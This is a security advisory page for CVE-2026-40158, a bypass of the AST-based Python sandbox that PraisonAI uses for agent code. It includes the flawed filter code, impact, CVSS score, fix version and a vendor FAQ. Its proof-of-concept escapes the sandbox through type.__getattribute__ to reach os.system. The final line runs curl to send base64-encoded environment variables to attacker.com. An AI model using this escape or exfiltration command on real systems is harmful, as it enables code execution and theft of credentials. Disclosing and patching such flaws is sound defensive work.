CVE-2026-40158

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

• Access sensitive data such as environment variables, API keys, and local files
• Execute arbitrary system commands
• Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-40158 has a CVSS score of 8.6 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.128); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-40158? CVE-2026-40158 is a high-severity code injection vulnerability in PraisonAI (pip), affecting versions < 4.5.128. It is fixed in 4.5.128. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-40158? CVE-2026-40158 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of PraisonAI are affected by CVE-2026-40158? PraisonAI (pip) versions < 4.5.128 is affected.
4. Is there a fix for CVE-2026-40158? Yes. CVE-2026-40158 is fixed in 4.5.128. Upgrade to this version or later.
5. Is CVE-2026-40158 exploitable, and should I be worried? Whether CVE-2026-40158 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40158 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40158? Upgrade PraisonAI to 4.5.128 or later.